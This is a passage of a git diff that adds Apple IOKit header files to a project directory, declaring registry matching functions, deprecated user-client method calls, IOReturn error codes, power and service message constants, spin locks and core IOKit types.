IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ + +CFMutableDictionaryRef +IOOpenFirmwarePathMatching( + mach_port_t masterPort, + uint32_t options, + const char * path ); + +/*! @function IORegistryEntryIDMatching + @abstract Create a matching dictionary that specifies an IOService match based on a registry entry ID. + @discussion This function creates a matching dictionary that will match a registered, active IOService found with the given registry entry ID. The entry ID for a registry entry is returned by IORegistryEntryGetRegistryEntryID(). + @param entryID The registry entry ID to be found. + @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ + +CFMutableDictionaryRef +IORegistryEntryIDMatching( + uint64_t entryID ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/*! @function IOServiceOFPathToBSDName + @abstract Utility to look up an IOService from its OpenFirmware device path, and return its BSD device name if available. + @discussion Certain IOServices (currently, block and ethernet boot devices) may be looked up by a path that specifies their location in the OpenFirmware device tree, represented in the registry by the kIODeviceTreePlane plane. This function looks up an IOService object with a given OpenFirmware device path, and returns its associated BSD device name. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param openFirmwarePath The OpenFirmware device path, as a const char *. + @param bsdName The BSD name, as a const char *, is copied to the callers buffer. + @result A kern_return_t error code. */ + +kern_return_t +IOServiceOFPathToBSDName(mach_port_t masterPort, + const io_name_t openFirmwarePath, + io_name_t bsdName); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/*! @typedef IOAsyncCallback0 + @abstract standard callback function for asynchronous I/O requests with + no extra arguments beyond a refcon and result code. + @param refcon The refcon passed into the original I/O request + @param result The result of the I/O operation +*/ +typedef void (*IOAsyncCallback0)(void *refcon, IOReturn result); + +/*! @typedef IOAsyncCallback1 + @abstract standard callback function for asynchronous I/O requests with + one extra argument beyond a refcon and result code. + This is often a count of the number of bytes transferred + @param refcon The refcon passed into the original I/O request + @param result The result of the I/O operation + @param arg0 Extra argument +*/ +typedef void (*IOAsyncCallback1)(void *refcon, IOReturn result, void *arg0); + +/*! @typedef IOAsyncCallback2 + @abstract standard callback function for asynchronous I/O requests with + two extra arguments beyond a refcon and result code. + @param refcon The refcon passed into the original I/O request + @param result The result of the I/O operation + @param arg0 Extra argument + @param arg1 Extra argument +*/ +typedef void (*IOAsyncCallback2)(void *refcon, IOReturn result, void *arg0, void *arg1); + +/*! @typedef IOAsyncCallback + @abstract standard callback function for asynchronous I/O requests with + lots of extra arguments beyond a refcon and result code. + @param refcon The refcon passed into the original I/O request + @param result The result of the I/O operation + @param args Array of extra arguments + @param numArgs Number of extra arguments +*/ +typedef void (*IOAsyncCallback)(void *refcon, IOReturn result, void **args, + uint32_t numArgs); + + +/* Internal use */ + +kern_return_t +OSGetNotificationFromMessage( + mach_msg_header_t * msg, + uint32_t index, + uint32_t * type, + uintptr_t * reference, + void ** content, + vm_size_t * size ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* Internal use */ + +kern_return_t +IOCatalogueSendData( + mach_port_t masterPort, + uint32_t flag, + const char *buffer, + uint32_t size ); + +kern_return_t +IOCatalogueTerminate( + mach_port_t masterPort, + uint32_t flag, + io_name_t description ); + +kern_return_t +IOCatalogueGetData( + mach_port_t masterPort, + uint32_t flag, + char **buffer, + uint32_t *size ); + +kern_return_t +IOCatalogueModuleLoaded( + mach_port_t masterPort, + io_name_t name ); + +kern_return_t +IOCatalogueReset( + mach_port_t masterPort, + uint32_t flag ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +// obsolete API + +#if !defined(__LP64__) + +// for Power Mgt + +typedef struct IOObject IOObject; + +// for MacOS.app + +kern_return_t +IORegistryDisposeEnumerator( + io_enumerator_t enumerator ) DEPRECATED_ATTRIBUTE; + +kern_return_t +IOMapMemory( + io_connect_t connect, + uint32_t memoryType, + task_port_t intoTask, + vm_address_t * atAddress, + vm_size_t * ofSize, + uint32_t flags ) DEPRECATED_ATTRIBUTE; + +// for CGS + +kern_return_t +IOCompatibiltyNumber( + mach_port_t connect, + uint32_t * objectNumber ) DEPRECATED_ATTRIBUTE; + +// Traditional IOUserClient transport routines +kern_return_t +IOConnectMethodScalarIScalarO( + io_connect_t connect, + uint32_t index, + IOItemCount scalarInputCount, + IOItemCount scalarOutputCount, + ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; + +kern_return_t +IOConnectMethodScalarIStructureO( + io_connect_t connect, + uint32_t index, + IOItemCount scalarInputCount, + IOByteCount * structureSize, + ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; + +kern_return_t +IOConnectMethodScalarIStructureI( + io_connect_t connect, + uint32_t index, + IOItemCount scalarInputCount, + IOByteCount structureSize, + ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; + +kern_return_t +IOConnectMethodStructureIStructureO( + io_connect_t connect, + uint32_t index, + IOItemCount structureInputSize, + IOByteCount * structureOutputSize, + void * inputStructure, + void * ouputStructure ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; + +// Compatability with earlier Mig interface routines +#if IOCONNECT_NO_32B_METHODS + +kern_return_t +io_connect_map_memory( + io_connect_t connect, + uint32_t memoryType, + task_port_t intoTask, + vm_address_t *atAddress, + vm_size_t *ofSize, + IOOptionBits options) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_connect_unmap_memory( + io_connect_t connect, + uint32_t memoryType, + task_port_t fromTask, + vm_address_t atAddress) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_connect_method_scalarI_scalarO( + mach_port_t connection, + int selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_scalar_inband_t output, + mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_connect_method_scalarI_structureO( + mach_port_t connection, + int selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t output, + mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_connect_method_scalarI_structureI( + mach_port_t connection, + int selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t inputStruct, + mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_connect_method_structureI_structureO( + mach_port_t connection, + int selector, + io_struct_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t output, + mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_async_method_scalarI_scalarO( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + int selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_scalar_inband_t output, + mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_async_method_scalarI_structureO( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + int selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t output, + mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_async_method_scalarI_structureI( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + int selector, + io_scalar_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t inputStruct, + mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE; + +kern_return_t +io_async_method_structureI_structureO( + mach_port_t connection, + mach_port_t wake_port, + io_async_ref_t reference, + mach_msg_type_number_t referenceCnt, + int selector, + io_struct_inband_t input, + mach_msg_type_number_t inputCnt, + io_struct_inband_t output, + mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; +#endif // IOCONNECT_NO_32B_METHODS + +#endif /* defined(__LP64__) */ + +__END_DECLS + +#endif /* ! _IOKIT_IOKITLIB_H */ diff --git a/igor/headers/IOKit/IOKitServer.h b/igor/headers/IOKit/IOKitServer.h new file mode 100644 index 0000000..a68c992 --- /dev/null +++ b/igor/headers/IOKit/IOKitServer.h @@ -0,0 +1,123 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ +/* + * Copyright (c) 1998 Apple Computer, Inc. All rights reserved. + * + * HISTORY + * + */ + +/* + * Internal definitions used between the iokit user library and + * server routines. + */ + +#ifndef _IOKIT_IOKITSERVER_H +#define _IOKIT_IOKITSERVER_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif +#include +#ifdef __cplusplus +} +#endif + +// IOMakeMatching +/*! + @enum IOMakeMatching + @constant kIOServiceMatching + @constant kIOBSDNameMatching + @constant kIOOFPathMatching +*/ +enum { + kIOServiceMatching = 100, + kIOBSDNameMatching = 101, + kIOOFPathMatching = 102 +}; + +// IOCatalogueSendData +/*! + @enum IOCatalogueSendData user-client flags. + @constant kIOCatalogAddDrivers Signals a call to the addDrivers function in IOCatalogue. + @constant kIOCatalogAddDriversNoMatch Signals a call to the addDrivers function in IOCatalogue but does not start a matching thread. + @constant kIOCatalogRemoveDrivers Signals a call to the removeDrivers function in IOCatalogue. + @constant kIOCatalogRemoveDriversNoMatch Signals a call to the removedrivers function in IOCatalogue but does not start a matching thread. + @constant kIOCatalogStartMatching Signals the IOCatalogue to start an IOService matching thread. +*/ +enum { + kIOCatalogAddDrivers = 1, + kIOCatalogAddDriversNoMatch, + kIOCatalogRemoveDrivers, + kIOCatalogRemoveDriversNoMatch, + kIOCatalogStartMatching, + kIOCatalogRemoveKernelLinker, + kIOCatalogKextdActive, + kIOCatalogKextdFinishedLaunching +}; + +// IOCatalogueGetData +/*! + @enum IOCatalogueGetData user-client flags + @constant kIOCatalogGetContents Returns a snapshot of the database to the caller. +*/ +enum { + kIOCatalogGetContents = 1, + kIOCatalogGetModuleDemandList = 2, + kIOCatalogGetCacheMissList = 3, + kIOCatalogGetROMMkextList = 4 +}; + +// IOCatalogueReset +/*! + @enum IOCatalogueReset user-client flag + @constant kIOCatalogResetDefault Removes all entries from IOCatalogue except those used for booting the system. +*/ +enum { + kIOCatalogResetDefault = 1 +}; + +// IOCatalogueTerminate +/*! + @enum IOCatalogueTerminate user-client flags. + @constant kIOCatalogModuleUnload Terminates all services which depend on a particular module and unloads the module. + @constant kIOCatalogModuleTerminate Terminates all services which depend on a particular module but does not unload the module. + @constant kIOCatalogServiceTerminate Terminates a particular service by name. +*/ +enum { + kIOCatalogModuleUnload = 1, + kIOCatalogModuleTerminate, + kIOCatalogServiceTerminate +}; + +#endif /* ! _IOKIT_IOKITSERVER_H */ + diff --git a/igor/headers/IOKit/IOMessage.h b/igor/headers/IOKit/IOMessage.h new file mode 100644 index 0000000..3ca9e1e --- /dev/null +++ b/igor/headers/IOKit/IOMessage.h @@ -0,0 +1,75 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ + +#ifndef __IOKIT_IOMESSAGE_H +#define __IOKIT_IOMESSAGE_H + +#include +#include + +typedef UInt32 IOMessage; + +#define iokit_common_msg(message) (UInt32)(sys_iokit|sub_iokit_common|message) +#define iokit_family_msg(sub,message) (UInt32)(sys_iokit|sub|message) + +/*! @defined iokit_vendor_specific_msg + @discussion iokit_vendor_specific_msg passes messages in the sub_iokit_vendor_specific + subsystem. It can be used to be generate messages that are used for private + communication between vendor specific code with the IOService::message() etc. APIs. +*/ +#define iokit_vendor_specific_msg(message) (UInt32)(sys_iokit|sub_iokit_vendor_specific|message) + +#define kIOMessageServiceIsTerminated iokit_common_msg(0x010) +#define kIOMessageServiceIsSuspended iokit_common_msg(0x020) +#define kIOMessageServiceIsResumed iokit_common_msg(0x030) + +#define kIOMessageServiceIsRequestingClose iokit_common_msg(0x100) +#define kIOMessageServiceIsAttemptingOpen iokit_common_msg(0x101) +#define kIOMessageServiceWasClosed iokit_common_msg(0x110) + +#define kIOMessageServiceBusyStateChange iokit_common_msg(0x120) + +#define kIOMessageServicePropertyChange iokit_common_msg(0x130) + +#define kIOMessageCanDevicePowerOff iokit_common_msg(0x200) +#define kIOMessageDeviceWillPowerOff iokit_common_msg(0x210) +#define kIOMessageDeviceWillNotPowerOff iokit_common_msg(0x220) +#define kIOMessageDeviceHasPoweredOn iokit_common_msg(0x230) +#define kIOMessageCanSystemPowerOff iokit_common_msg(0x240) +#define kIOMessageSystemWillPowerOff iokit_common_msg(0x250) +#define kIOMessageSystemWillNotPowerOff iokit_common_msg(0x260) +#define kIOMessageCanSystemSleep iokit_common_msg(0x270) +#define kIOMessageSystemWillSleep iokit_common_msg(0x280) +#define kIOMessageSystemWillNotSleep iokit_common_msg(0x290) +#define kIOMessageSystemHasPoweredOn iokit_common_msg(0x300) +#define kIOMessageSystemWillRestart iokit_common_msg(0x310) +#define kIOMessageSystemWillPowerOn iokit_common_msg(0x320) + +#define kIOMessageCopyClientID iokit_common_msg(0x330) + +#endif /* ! __IOKIT_IOMESSAGE_H */ diff --git a/igor/headers/IOKit/IOReturn.h b/igor/headers/IOKit/IOReturn.h new file mode 100644 index 0000000..ae24a19 --- /dev/null +++ b/igor/headers/IOKit/IOReturn.h @@ -0,0 +1,136 @@ +/* + * Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ +/* + * HISTORY + */ + +/* + * Core IOReturn values. Others may be family defined. + */ + +#ifndef __IOKIT_IORETURN_H +#define __IOKIT_IORETURN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +typedef kern_return_t IOReturn; + +#ifndef sys_iokit +#define sys_iokit err_system(0x38) +#endif /* sys_iokit */ +#define sub_iokit_common err_sub(0) +#define sub_iokit_usb err_sub(1) +#define sub_iokit_firewire err_sub(2) +#define sub_iokit_block_storage err_sub(4) +#define sub_iokit_graphics err_sub(5) +#define sub_iokit_networking err_sub(6) +#define sub_iokit_bluetooth err_sub(8) +#define sub_iokit_pmu err_sub(9) +#define sub_iokit_acpi err_sub(10) +#define sub_iokit_smbus err_sub(11) +#define sub_iokit_ahci err_sub(12) +#define sub_iokit_powermanagement err_sub(13) +//#define sub_iokit_hidsystem err_sub(14) +//#define sub_iokit_pccard err_sub(21) + +#define sub_iokit_vendor_specific err_sub(-2) +#define sub_iokit_reserved err_sub(-1) + +#define iokit_common_err(return) (sys_iokit|sub_iokit_common|return) +#define iokit_family_err(sub,return) (sys_iokit|sub|return) +#define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return) + +#define kIOReturnSuccess KERN_SUCCESS // OK +#define kIOReturnError iokit_common_err(0x2bc) // general error +#define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory +#define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage +#define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC +#define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device +#define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation +#define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument +#define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked +#define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked +#define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and + // device already open +#define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages + // had different msg_id +#define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function +#define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure +#define kIOReturnInternalError iokit_common_err(0x2c9) // internal error +#define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error +//#define kIOReturn???Error iokit_common_err(0x2cb) // ??? +#define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock +#define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open +#define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported +#define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported +#define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error +#define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error +#define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open +#define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure +#define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure +#define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy +#define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout +#define kIOReturnOffline iokit_common_err(0x2d7) // device offline +#define kIOReturnNotReady iokit_common_err(0x2d8) // not ready +#define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached +#define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left +#define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data +//#define kIOReturn???Error iokit_common_err(0x2dc) // ??? +#define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists +#define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down + // physical memory +#define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached +#define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued +#define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received + // on interrupt port +#define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted +#define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device +#define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present +#define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted +#define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode +#define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun +#define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun +#define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly! +#define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required +#define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted +#define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded +#define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding +#define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past! +#define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future +#define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found +#define kIOReturnInvalid iokit_common_err(0x1) // should never be seen + +#ifdef __cplusplus +} +#endif + +#endif /* ! __IOKIT_IORETURN_H */ diff --git a/igor/headers/IOKit/IOSharedLock.h b/igor/headers/IOKit/IOSharedLock.h new file mode 100644 index 0000000..c7a0cff --- /dev/null +++ b/igor/headers/IOKit/IOSharedLock.h @@ -0,0 +1,88 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ +/* + * Copyright (c) 1998 Apple Computer, Inc. All rights reserved. + * + * HISTORY + * + */ + +/* + * Multiprocessor locks used within the shared memory area between the + * kernel and event system. These must work in both user and kernel mode. + * + * These routines are public, for the purpose of writing frame buffer device + * drivers which handle their own cursors. Certain architectures define a + * generic display class which handles cursor drawing and is subclassed by + * driver writers. These drivers need not be concerned with the following + * types and definitions. + * + * The ev_lock(), ev_unlock(), and ev_try_lock() functions are available only + * to drivers built in or dynamically loaded into the kernel, and to DPS + * drivers built in or dynamically loaded into the Window Server. They do not + * exist in any shared library. + * + * --> They're now in IOKit user lib. + */ + +#ifndef _IOKIT_IOSHAREDLOCK_H +#define _IOKIT_IOSHAREDLOCK_H + +#ifdef __cplusplus +extern "C" { +#endif + +// should be 32 bytes on PPC +typedef volatile int IOSharedLockData; +typedef IOSharedLockData * IOSharedLock; + +#define IOSpinLockInit(l) (*(l) = (IOSharedLockData)0) + +extern void IOSpinLock(IOSharedLock l); + +extern void IOSpinUnlock(IOSharedLock l); +extern boolean_t IOTrySpinLock(IOSharedLock l); + +/* exact same stuff & implementation */ + +typedef IOSharedLockData ev_lock_data_t; +typedef ev_lock_data_t * ev_lock_t; + +#define ev_init_lock(l) (*(l) = (ev_lock_data_t)0) +// needs isync? +//#define ev_is_locked(l) (*(l) != (ev_lock_data_t)0) + +extern void ev_lock(ev_lock_t l); // Spin lock! + +extern void ev_unlock(ev_lock_t l); +extern boolean_t ev_try_lock(ev_lock_t l); + +#ifdef __cplusplus +} +#endif +#endif /* ! _IOKIT_IOSHAREDLOCK_H */ diff --git a/igor/headers/IOKit/IOTypes.h b/igor/headers/IOKit/IOTypes.h new file mode 100644 index 0000000..3b5f631 --- /dev/null +++ b/igor/headers/IOKit/IOTypes.h @@ -0,0 +1,234 @@ +/* + * Copyright (c) 1998-2006 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ +#ifndef __IOKIT_IOTYPES_H +#define __IOKIT_IOTYPES_H + +#ifndef IOKIT +#define IOKIT 1 +#endif /* !IOKIT */ + +#include +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef NULL +#if defined (__cplusplus) +#define NULL 0 +#else +#define NULL ((void *)0) +#endif +#endif + +/* + * Simple data types. + */ +#ifndef __MACTYPES__ /* CF MacTypes.h */ +#ifndef __TYPES__ /* guess... Mac Types.h */ + +#include +#include + +#endif /* __TYPES__ */ +#endif /* __MACTYPES__ */ + + +typedef UInt32 IOOptionBits; +typedef SInt32 IOFixed; +typedef UInt32 IOVersion; +typedef UInt32 IOItemCount; +typedef UInt32 IOCacheMode; + +typedef UInt32 IOByteCount32; +typedef UInt64 IOByteCount64; + +typedef UInt32 IOPhysicalAddress32; +typedef UInt64 IOPhysicalAddress64; +typedef UInt32 IOPhysicalLength32; +typedef UInt64 IOPhysicalLength64; + +#ifdef __LP64__ +typedef mach_vm_address_t IOVirtualAddress; +#else +typedef vm_address_t IOVirtualAddress; +#endif + +#if defined(__LP64__) && defined(KERNEL) +typedef IOByteCount64 IOByteCount; +#else +typedef IOByteCount32 IOByteCount; +#endif + +typedef IOVirtualAddress IOLogicalAddress; + +#if defined(__LP64__) && defined(KERNEL) + +typedef IOPhysicalAddress64 IOPhysicalAddress; +typedef IOPhysicalLength64 IOPhysicalLength; +#define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32)) +#define IOPhysSize 64 + +#else + +typedef IOPhysicalAddress32 IOPhysicalAddress; +typedef IOPhysicalLength32 IOPhysicalLength; +#define IOPhysical32( hi, lo ) (lo) +#define IOPhysSize 32 + +#endif + + +typedef struct +{ + IOPhysicalAddress address; + IOByteCount length; +} IOPhysicalRange; + +typedef struct +{ + IOVirtualAddress address; + IOByteCount length; +} IOVirtualRange; + +#ifdef __LP64__ +typedef IOVirtualRange IOAddressRange; +#else /* !__LP64__ */ +typedef struct +{ + mach_vm_address_t address; + mach_vm_size_t length; +} IOAddressRange; +#endif /* !__LP64__ */ + +/* + * Map between #defined or enum'd constants and text description. + */ +typedef struct { + int value; + const char *name; +} IONamedValue; + + +/* + * Memory alignment -- specified as a power of two. + */ +typedef unsigned int IOAlignment; + +#define IO_NULL_VM_TASK ((vm_task_t)0) + + +/* + * Pull in machine specific stuff. + */ + +//#include + +#ifndef MACH_KERNEL + +#ifndef __IOKIT_PORTS_DEFINED__ +#define __IOKIT_PORTS_DEFINED__ +typedef mach_port_t io_object_t; +#endif /* __IOKIT_PORTS_DEFINED__ */ + +#include + +typedef io_object_t io_connect_t; +typedef io_object_t io_enumerator_t; +typedef io_object_t io_iterator_t; +typedef io_object_t io_registry_entry_t; +typedef io_object_t io_service_t; + +#define IO_OBJECT_NULL ((io_object_t) 0) + +#endif /* MACH_KERNEL */ + +// IOConnectMapMemory memoryTypes +enum { + kIODefaultMemoryType = 0 +}; + +enum { + kIODefaultCache = 0, + kIOInhibitCache = 1, + kIOWriteThruCache = 2, + kIOCopybackCache = 3, + kIOWriteCombineCache = 4 +}; + +// IOMemory mapping options +enum { + kIOMapAnywhere = 0x00000001, + + kIOMapCacheMask = 0x00000700, + kIOMapCacheShift = 8, + kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift, + kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift, + kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift, + kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift, + kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift, + + kIOMapUserOptionsMask = 0x00000fff, + + 